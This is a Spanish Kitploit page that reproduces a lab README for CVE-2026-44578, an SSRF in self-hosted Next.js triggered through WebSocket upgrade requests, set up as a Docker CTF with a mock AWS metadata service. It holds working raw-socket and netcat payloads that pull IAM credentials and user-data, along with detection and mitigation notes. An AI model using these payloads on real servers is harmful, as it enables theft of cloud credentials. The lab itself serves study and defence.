Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-44578-next-js-ssrf — este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah | Kitploit
Herramientas/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud SecurityLabs & Practice
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah

Ver Repositorio
hace 11h 46mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Laboratorio)

Laboratorio autocontenido para reproducir la vulnerabilidad CVE-2026-44578 (CWE-918, SSRF) en aplicaciones Next.js self-hosted que usan el servidor Node.js integrado.

CampoValor
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TipoSSRF (CWE-918)
Versiones afectadasNext.js 13.4.13 – 15.5.15 y 16.0.0 – 16.2.4
Versiones parcheadas15.5.16 y 16.2.5
Autenticaciónninguna
Interacción de usuarioninguna

Topología del laboratorio

root@kitploit:~
Atacante (host: 0.0.0.0)
    │  HTTP :3000 (público)
    ▼
┌──────────────────────────┐  mismo namespace de red  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (credenciales,      │
│ (servidor Node integrado)│                           │  user-data, índice) │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (puerto 3000): la app vulnerable, expuesta a 0.0.0.0:3000.
  • imds-sidecar: mock del metadata service de AWS que vive en localhost:80 dentro del namespace del container de Next.js, modelando una instancia real en la nube. No es alcanzable desde el host directamente (no hay puerto publicado).
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC automatizado (5 probes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + rutas secretas
                        └── nextjs-app/             # App realista "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (vulnerable)

Por qué es vulnerable

El upgrade handler de WebSocket en router-server.ts llama a proxyRequest() cuando el URI parseado tiene parsedUrl.protocol, sin verificar los flags finished y statusCode que el handler HTTP normal siempre emitió:

root@kitploit:~
  // vulnerable (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // parche (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

La ruta de ataque usa una request line con URI absoluta doble-barra: GET http:///path. normalizeRepeatedSlashes colapsa http:/// a http:/, quedando sin hostname, y http-proxy conecta entonces a localhost:80 con el path intacto:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

La presencia de las cabeceras Connection: Upgrade + Upgrade: websocket hace que el request caiga en el handler de upgrade vulnerable en vez del handler HTTP con las verificaciones de seguridad.

Levantar el laboratorio

root@kitploit:~
docker compose up -d --build

Verificar que la app responde:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Para dejarlo funcionando en 0.0.0.0, el mapeo de puertos en docker-compose.yml ya expone 3000:3000 en todas las interfaces.

Explotación manual

1. Usando netcat (nc)

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Usando Python puro (stdlib, sin dependencias)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Usando el PoC automatizado

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — captura manual del flag final

Flujo completo 100 % manual, en 4 fases. Hay 4 flags ocultos en el servicio interno (localhost:80); esta guía muestra el flujo hasta el primero y te deja las rutas para encontrar el resto.

Fase 1 — Reconocimiento

root@kitploit:~
# Fingerprint del servidor
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Puertos abiertos vía socket (sin nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

No hay acceso directo a 127.0.0.1:80 desde el atacante: el único vector es hacer que el servidor Next.js (que sí vive en la misma red que el servicio interno) pida por nosotros.

Fase 2 — Enumeración del metadata service vía SSRF

Primero confirmamos el SSRF preguntando por el índice del metadata service:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Respuesta del índice → candidatos: instance-id, hostname, iam/security-credentials/, user-data (primer flag). El índice de latest/meta-data/ también revela sub-keys que conviene seguir explorando.

Fase 3 — Construcción del payload (byte a byte)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
ParteFunción
GETLa vuln solo proxya GET
http:///latest/user-dataURI absoluta. http:/// colapsa a http:/ → hostname null → el proxy conecta a localhost:80 conservando el path /latest/user-data
Host: 127.0.0.1:3000Si no, el servedor responde 400
Connection: Upgrade + Upgrade: websocketDesvían el request al handler de upgrade vulnerable (el handler HTTP normal sí valida)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==Cabeceras mínimas exigidas en un handshake legítimo

Terminación: \r\n\r\n en el socket raw (sin cuerpo).

Fase 4 — Disparo manual y captura del flag

root@kitploit:~
# Opción A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# Opción B: socket raw en Python (misma precisión, sin nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Salida — el primer flag llega en el body de la respuesta del servicio interno:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

Flag 1/4 conseguido. El header server: BaseHTTP/0.6 ... (Python mock) confirma que la petición viajó Atacante → Next.js → localhost:80, es decir, el flag fue exfiltrado desde la red interna por el SSRF. Los otros 3 están escampados en rutas del metadata service y del servicio interno — el índice de latest/meta-data/ es tu mapa. Encuentra el resto.

Endpoints expuestos en el lab

El fake IMDS (localhost:80) modela el metadata service real de AWS: es un árbol navegable. Cada directorio (termina en /) responde con el índice de sus sub-rutas; pedir un directorio sin / devuelve un redirect 301. No hay rutas ocultas: ningún flag exige adivinar — todo se descubre navegando los índices.

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → script de booteo (señala internal/config)
RutaContenido
latest/meta-data/Índice de metadata (raya arriba)
latest/meta-data/iam/security-credentials/Rol lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleJSON con AccessKeyId, SecretAccessKey y Token
latest/user-dataScript de booteo con credenciales de BD
latest/dynamic/instance-identity/documentJSON de identidad de instancia
internal/configConfig de un servicio interno (DB, API key) — referenciado por user-data

Reto CTF: hay 4 flags, y cada uno es un artefacto real de la cadena de explotación SSRF contra AWS: (1) user-data del boot, (2) credenciales IAM, (3) identity document, (4) config de un servicio interno. Sus valores no están publicados. Navega los índices (/ → latest/ → …) y seguirás de banner en banner; el script de user-data te dice dónde vive el cuarto. No hay que adivinar rutas: el 404 solo te delata que estás inventando un path que no existe.

Guía de resolución (spoilers graduales)

Versión completa con la cadena flag→flag en su propio documento: SOLUCION.md (cada flag te da la pista del siguiente, fuera de este README).

La regla: cada flag tiene una pista, una traba y la solución. Primero intenta con la pista; usa la traba cuando estés atascado. No hay rutas ocultas: nadie falaza, todo se navega.

Dos avisos antes de empezar:

  1. El helper ssrf() ya está listo en SOLUCION.md → Preparación: cópialo y úsalo para el resto de la guía. Envía un request GET http:///<path> con Connection: Upgrade + Upgrade: websocket.
  2. Los flags viajan cifrados en base64. En las respuestas verás blobs RkxBR3… (base64 de FLAG{…}). Descifralos: echo <blob> | base64 -d.

Flag 1 — user-data (el más fácil)

  • Pista: ¿qué devuelve un GET a /latest/user-data? Es lo primero que comprueba cualquier atacante en AWS.
  • Traba 1 (índices 301): las carpetas se listan con / al final. ssrf latest/meta-data te da 301 Moved Permanently y Location: latest/meta-data/. = "Sígueme". Con nc no hay seguir automático: repite el pedido con el slash.
  • Solución:
root@kitploit:~
ssrf latest/user-data

En el body: el script de booteo con DB_PASS=… (Flag 1 está ahí dentro), y una línea curl -s http://internal/config que es el mapa del Flag 4.

Flag 2 — credenciales IAM

  • Pista: navega latest/meta-data/iam/security-credentials/ y pide el rol que aparece.
  • Traba 2 (el Token no es relleno): el 200 trae un JSON largo. AccessKeyId/SecretAccessKey saltan a la vista; el Flag 2 no está ahí: el campo Token es una sola cadena base64. Descifrala.
  • Solución:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

Flag 3 — identity document

  • Pista: latest/meta-data/ no es el único árbol. Mira el índice raíz: hay un dynamic/ que casi nadie abre.
  • Traba (redirección encadenada): dynamic/ → instance-identity/ → document. Son tres escalones; en cada uno tu ssrf debe terminar en / (excepto document). Gente se pierde por no re-solicitar tras el 301.
  • Solución:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

El JSON de identidad incluye una clave FLAG con el Flag 3 (en base64). Si tu serie de comandos devolvió 301 en el segundo escalón, agárrrate la lección de la Traba 1.

Flag 4 — config de un servicio interno

  • Pista: el Flag 1 (user-data) confesaba la dirección: curl -s http://internal/config.
  • Traba (¿qué es "internal"?): desde el atacante internal no resuelve. "internal" es un alias del lado del servidor, no tuyo. No cambias el host: el SSRF siempre aterriza en localhost:80; solo eliges el path.
  • Solución:
root@kitploit:~
ssrf internal/config

Verificación de los 4 (blob base64 → decodificado):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 flags en mano. Si alguno no te sale FLAG{...}, ya sabes: revisa el curl de user-data (traba del Flag 4) o el / de los índices (traba del Flag 1).

Uso manual, por ejemplo credenciales IAM:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Resultado esperado — la respuesta llega con server: BaseHTTP/0.6 Python/3.12.x (el mock), no con el banner de Next.js, lo que prueba que la petición fue hecha por el servidor hacia localhost:80:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

Resultado del PoC

El PoC verifica el SSRF pero censura los flags: los blobs base64 de los FLAG{...} y los FLAG{...} en claro se muestran como texto censurado. Los valores solo se obtienen por exploración manual (sección CTF de arriba).

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (flag cifrado: explotacion manual) ***

Limitaciones de la vulnerabilidad

  • Solo GET (no POST/PUT).
  • Solo puerto 80 (el hostname se pierde en la normalización de http:///).
  • IMDSv2 no explotable (requiere PUT para el token).
  • Metadata de GCP no explotable (rechaza Upgrade: websocket con 400).
  • Vercel-hosted no afectado.
  • Detrás de un reverse proxy (nginx/Caddy/HAProxy) las URIs absolutas suelen bloquearse.

Verificación de "parcheado"

Para confirmar que el parche (Next.js ≥ 15.5.16) bloquea el ataque, cambia la versión en nextjs-app/package.json a 15.5.16, reconstruye y re-ejecuta el mismo payload: la conexión se cierra sin devolver datos.

Detección

Firmas en logs del proceso Next.js:

  • Failed to proxy http:/ — el proxy se disparó pero el destino era inalcanzable.
  • Requests cuya request line contiene un URI absoluto con http: junto a cabeceras Connection: Upgrade / Upgrade: websocket.

Mitigación

  • Actualizar a 15.5.16 / 16.2.5 o posterior.
  • Si no se puede actualizar: bloquear upgrades de WebSocket en el proxy inverso y aplicar IMDSv2 (HttpTokens=required) en AWS.
  • Ejemplo nginx para rechazar URIs absolutas:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

Referencias

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Fix commit: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8# CVE-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

Descargar herramienta